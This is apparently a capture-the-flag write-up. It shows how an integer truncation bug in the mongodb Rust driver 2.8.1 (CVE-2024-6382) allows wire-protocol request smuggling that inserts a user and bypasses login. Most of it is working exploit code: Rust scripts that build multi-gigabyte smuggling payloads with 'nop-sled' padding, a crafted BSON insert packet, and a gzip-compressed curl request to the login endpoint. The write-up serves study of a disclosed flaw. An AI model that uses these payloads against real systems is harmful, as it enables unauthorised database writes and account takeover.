We heard SQLi is a common vulnerability, and ORM's are slow and bloated. What could be better than Rust and Mongodb to solve that?
3/287
Most images of this write up are taken from slides of Paul Gerste @ DEFCON32.
Thanks a lot to the creator of this challenge and to pspaul, which has made very cool research on protocol request smuggling.
This challenge was flagged with platists from TheFlagNetworkSociety :
This challenge provides a few routes:
The goal of this challenge is therefore to have valid credentials in order to log in and get the flag. The login method is the following :
#[post("/login")]
pub async fn post_login(client: web::Data<Client>, session: Session, form: web::Form<LoginForm>) -> HttpResponse {
let form = form.into_inner();
let collection: Collection<Document> = client.database(crate::db::DB_NAME).collection("users");
match collection.find_one(doc! { "u": &form.username, "p": form.password }, None).await {
Ok(Some(_user)) => {
session.insert::<String>("user", form.username).unwrap();
HttpResponse::Found()
.insert_header((http::header::LOCATION, "/"))
.finish()
},
Ok(None) => {
FlashMessage::error("Invalid username or password").send();
HttpResponse::Found()
.insert_header((http::header::LOCATION, "/login"))
.finish()
}
Err(err) => HttpResponse::InternalServerError().body(err.to_string()),
}
}
Here, the problem is that there isn't any account created by default on the platform, so we have to find a way to create an account and connect with it.
By looking at the dependencies contains in the Cargo.toml
file :
[package]
name = "chall"
version = "0.1.0"
edition = "2021"
[dependencies]
actix-web = "4.9"
actix-rt = "2.10"
actix-session = { version = "0.10", features = ["cookie-session"] }
actix-web-flash-messages = { version = "0.5", features = ["cookies"] }
serde = { version = "1.0", features = ["derive"] }
sailfish = "0.9"
mongodb = "=2.8.1"
The mongodb driver version is 2.8.1 which is vulnerable to CVE-2024-6382. The bug was described at Paul Gerste @ DEFCON32 (Page 84) and resides in the fact that the length compute by the drivers is truncated to i32 before being sent to the mongo server.
Page 85 from presentation of Paul Gerste @ DEFCON32
When rust handles integers, the u32 value of 4_294_967_296
is 2^32
, but, when cast to i32
, 4_294_967_296
exceeds the maximum value of a signed 32-bit integer i32
, which causes an overflow that wraps the value around to 0.
The following script allows to trigger the vulnerability in the context of the challenge :
use mongodb::{bson::doc, Client, options::ClientOptions, Collection};
use mongodb::error::Result;
use mongodb::bson::Document;
#[tokio::main]
async fn main() -> Result<()> {
let client_uri = "mongodb://localhost:27017";
let client_options = ClientOptions::parse(client_uri).await?;
let client = Client::with_options(client_options)?;
let collection: Collection<Document> = client.database("mydb").collection("users");
let mut zero_size = 4_294_967_170;
let mut custom_char: String = "\x07".to_owned();
let payload: String = "a".repeat(0xdd000000-2-94);
let mut message: String = "\x00\x00\x00\x00\x00\x00\x00W\x00\x00\x00\x02insert\x00\x06\x00\x00\x00users\x00\x04documents\x00'\x00\x00\x00\x030\x00\x1f\x00\x00\x00\x02u\x00\x06\x00\x00\x00admin\x00\x02p\x00\x06\x00\x00\x00admin\x00\x00\x00\x02$db\x00\x05\x00\x00\x00mydb\x00\x00".to_string();
message.push_str(&payload);
custom_char.push_str(&message);
zero_size -= custom_char.len();
let mut username = "a".repeat(zero_size);
let username_payload = "l\x00\x00\x00\x00";
username.push_str(&username_payload);
match collection.find_one(doc! { "u": &username, "p": &custom_char }, None).await {
Ok(Some(_user)) => {
println!("OK: '{}'", username);
},
Ok(None) => {
println!("NOK: '{}'", username);
},
Err(err) => {
println!("Error: {}", err);
}
}
Ok(())
}
Modifying the file mongo-rust-driver/src/cmap/conn/wire/message.rs
allows to see that the message length is in fact truncated to zero when the size of the total message is 2^32
:
$ cargo run
[...]
(u32) total_length = 4294967296
(i32) total_length = 0
[...]
And mongo db server received, in the header of the packet, a size of 0, which is invalid :
$ docker logs sqli-mongo-1
[...]
{"t":{"$date":"2025-03-12T13:55:19.126+00:00"},"s":"I", "c":"NETWORK", "id":4615638, "ctx":"conn26","msg":"recv(): message mstLen is invalid.","attr":{"msgLen":0,"min":16,"max":48000000}}
[...]
This means that all data after the packet length received by mongodb server will be treated as raw packets, now begun the funny part.
As a reminder, our goal in this challenge is to insert a new user inside the mongodb server in order to be able to log in. Mongodb use BSON to exchange messages, the following JavaScript code allows to construct a valid BSON message for any kind of mongodb operation, here, an insert with two parameters :
const BSON = require("bson");
const fs = require("fs");
const doc = {
insert: "users",
documents: [{u: "admin", p: "admin"}],
$db: "mydb"
};
const data = BSON.serialize(doc);
let beginning = Buffer.from(
"000000000000000000000000DD0700000000000000",
"hex"
);
let full = Buffer.concat([beginning, data]);
full.writeUInt32LE(full.length, 0);
fs.writeFileSync("bson.bin", full);
The packet that we must sent is the following :
l\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdd\x07\x00\x00\x00\x00\x00\x00\x00W\x00\x00\x00\x02insert\x00\x06\x00\x00\x00users\x00\x04documents\x00'\x00\x00\x00\x030\x00\x1f\x00\x00\x00\x02u\x00\x06\x00\x00\x00admin\x00\x02p\x00\x06\x00\x00\x00admin\x00\x00\x00\x02$db\x00\x05\x00\x00\x00mydb\x00\x00
At this point, it's possible to assume that the exploit is almost complete by applying the following strategy:
Annnnnnnnnnnd no.. the problem here is due to one byte inside the insert BSON command, the \xdd
, in fact, it's not allowed to have bytes outside of the 0x80
range, but this byte is required by mongodb because it's the operation code which indicates that a query is sent.
Here in the presentation from Paul we found that BSON stores the field size before it's content, so having, for example, a password of 0xdd
size will allows to have this byte in the payload :
Page 93 from presentation of Paul Gerste @ DEFCON32
The payload will now be split between the username and the password, in fact, if you take a look at the BSON query, the byte 0xdd
os not at the beginning of the request, so we have to encapsulate it between the username and the password :
<username>l\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdd<password>
The following rust script allows to craft the payload to have the entire BSON binary query in the mongo original request :
use mongodb::{bson::doc, Client, options::ClientOptions, Collection};
use mongodb::error::Result;
use mongodb::bson::Document;
#[tokio::main]
async fn main() -> Result<()> {
let client_uri = "mongodb://localhost:27017";
let client_options = ClientOptions::parse(client_uri).await?;
let client = Client::with_options(client_options)?;
let collection: Collection<Document> = client.database("mydb").collection("users");
let mut zero_size = 4_294_967_170;
let mut custom_char: String = "\x07".to_owned();
// Here we minus 96 to balance with the size of the payload
let payload: String = "a".repeat(0xdd000000-96);
let mut message: String = "\x00\x00\x00\x00\x00\x00\x00W\x00\x00\x00\x02insert\x00\x06\x00\x00\x00users\x00\x04documents\x00'\x00\x00\x00\x030\x00\x1f\x00\x00\x00\x02u\x00\x06\x00\x00\x00admin\x00\x02p\x00\x06\x00\x00\x00admin\x00\x00\x00\x02$db\x00\x05\x00\x00\x00mydb\x00\x00".to_string();
message.push_str(&payload);
custom_char.push_str(&message);
zero_size -= custom_char.len();
let mut username = "a".repeat(zero_size);
let username_payload = "l\x00\x00\x00\x00";
username.push_str(&username_payload);
match collection.find_one(doc! { "u": &username, "p": &custom_char }, None).await {
Ok(Some(_user)) => {
println!("OK: '{}'", username);
},
Ok(None) => {
println!("NOK: '{}'", username);
},
Err(err) => {
println!("Error: {}", err);
}
}
Ok(())
}
There is one last problem here, the 4 gigabytes of data that allows to trigger the integer overflow must be placed before our malicious request, but this can't be random bytes else mongo server will try to read N bytes, then N bytes, then N bytes, etc.. and there isn't any way this allows us to reach our malicious and valid packet. In order to perform that, Mizu and I found that if you send a size followed by (size-1) zero, mongo will just output that the request is empty, and will try to process the next one, we call this "Mongodb request Nop-Sled". As mongodb will try to execute every "Nop-Sled" request, we have to optimize them and put as little as possible of them in order to not crash the server. Mongodb server allows request to be at most 8 megabytes of data, a simple computation allows us to see that we must sent :
As we were already exceeding the 4 gigabytes, our message length was roughly of ~50, so we had 30 "a" at the beggining of the username to pad this, in order to reach our series of Nop-Sled queries. In fact, if mongo parse a maessage starting by \x00
, this will only produce a log message saying that the packet was ignored due to a null size. The payload can be build with the following script:
use mongodb::{bson::doc, Client, options::ClientOptions, Collection};
use mongodb::error::Result;
use mongodb::bson::Document;
use tokio::fs;
#[tokio::main]
async fn main() -> Result<()> {
let client_uri = "mongodb://localhost:27017";
let client_options = ClientOptions::parse(client_uri).await?;
let client = Client::with_options(client_options)?;
let collection: Collection<Document> = client.database("mydb").collection("users");
let mut username_padding: String = "a".repeat(30).to_string();
let real_nop_slide_1 = format!("{}{}", "\x7e\x7e\x7e", "\x00".repeat(0x7e7e7b)).repeat(70);
let real_nop_slide_2 = format!("{}{}", "\x2a\x69\x69", "\x00".repeat(0x696927));
let last_nop_slide = format!("{}{}", "\x21", "\x00".repeat(0x20));
let username = "\x6c\x00\x00\x00\x00";
username_padding.push_str(&real_nop_slide_1);
username_padding.push_str(&real_nop_slide_2);
username_padding.push_str(&last_nop_slide);
username_padding.push_str(&username);
let mut custom_char: String = "\x07".to_owned();
let payload: String = "a".repeat(0xdd000000-96);
let mut message: String = "\x00\x00\x00\x00\x00\x00\x00W\x00\x00\x00\x02insert\x00\x06\x00\x00\x00users\x00\x04documents\x00'\x00\x00\x00\x030\x00\x1f\x00\x00\x00\x02u\x00\x06\x00\x00\x00admin\x00\x02p\x00\x06\x00\x00\x00admin\x00\x00\x00\x02$db\x00\x05\x00\x00\x00mydb\x00\x00".to_string();
message.push_str(&payload);
custom_char.push_str(&message);
match collection.find_one(doc! { "u": &username_padding, "p": &custom_char }, None).await {
Ok(Some(_user)) => {
println!("OK: Authentification réussie pour l'utilisateur '{}'", username);
},
Ok(None) => {
println!("NOK: Identifiants invalides pour l'utilisateur '{}'", username);
},
Err(err) => {
println!("Erreur MongoDB: {}", err);
}
}
Ok(())
}
PoC of the vulnerability
In order to send the payload, the previous script was modify to write payloads inside files :
use mongodb::{bson::doc, Client, options::ClientOptions, Collection};
use mongodb::error::Result;
use mongodb::bson::Document;
use tokio::fs;
#[tokio::main]
async fn main() -> Result<()> {
let mut username_padding: String = "a".repeat(30).to_string();
let real_nop_slide_1 = format!("{}{}", "\x7e\x7e\x7e", "\x00".repeat(0x7e7e7b)).repeat(70);
let real_nop_slide_2 = format!("{}{}", "\x2a\x69\x69", "\x00".repeat(0x696927));
let last_nop_slide = format!("{}{}", "\x21", "\x00".repeat(0x20));
let username = "\x6c\x00\x00\x00\x00";
username_padding.push_str(&real_nop_slide_1);
username_padding.push_str(&real_nop_slide_2);
username_padding.push_str(&last_nop_slide);
username_padding.push_str(&username);
let mut custom_char: String = "\x07".to_owned();
let payload: String = "a".repeat(0xdd000000-2-94);
let mut message: String = "\x00\x00\x00\x00\x00\x00\x00W\x00\x00\x00\x02insert\x00\x06\x00\x00\x00users\x00\x04documents\x00'\x00\x00\x00\x030\x00\x1f\x00\x00\x00\x02u\x00\x06\x00\x00\x00admin\x00\x02p\x00\x06\x00\x00\x00admin\x00\x00\x00\x02$db\x00\x05\x00\x00\x00mydb\x00\x00".to_string();
message.push_str(&payload);
custom_char.push_str(&message);
fs::write("username.bin", &username_padding).await.expect("Unable to write username file");
fs::write("password.bin", &custom_char).await.expect("Unable to write password file");
Ok(())
}
Obviously, it's not possible to send 4 gigabytes of data to a webserver, but as our payload mainly contains nullbytes, we can compress it using gzip, and send the request to the server with announcing that our post data are compressed :
$ echo "username=" > payload
$ cat username.bin >> payload
$ echo "&password=" >> payload
$ cat password.bin >> payload
$ gzip -c payload > payload.gz
$ curl -X POST http://localhost/login \
-H "Content-Encoding: gzip" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary "@payload.gz"
kalmar{we_don't_need_sqli_when_we_have_request_smuggling...}